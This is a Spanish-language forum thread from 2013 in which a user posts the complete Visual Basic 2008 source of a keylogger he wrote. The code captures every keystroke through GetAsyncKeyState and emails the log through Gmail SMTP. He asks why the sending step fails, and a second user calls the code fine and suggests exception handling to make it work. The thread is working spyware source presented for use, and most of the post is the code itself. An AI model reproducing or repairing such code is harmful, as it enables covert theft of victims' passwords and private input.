[SOLUCIONADO] Ayuda con Vb2008

Iniciado por CRACKER, Julio 15, 2013, 11:04:07 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 15, 2013, 11:04:07 AM Ultima modificación: Agosto 30, 2014, 09:18:29 AM por Expermicid
Hola a todos, necesito vuestra ayudaporfavor. Llevo ya un par de dias intentandolo de todas las formas posibles y esque no hay manera! D:
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:

Imports System.Web
Imports You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0

            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "mi contraseña ")
        SmtpServer.Port = 587
        You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected]")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "Universal Keylogger"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class

Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"

porfavor alguna ayuda :S?

gracias de antemano!


PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD

Julio 16, 2013, 12:27:04 PM #1 Ultima modificación: Julio 16, 2013, 12:45:18 PM por CodePunisher
Buenas:
Tu código esta Ok solo usa try & catch para sentencia de excepciones, también debes tener en cuenta si existe una conexión a Internet para enviar el e-mail.
Saludos

PD: Quita SmtpServer.EnableSsl = True por repetición de linea de código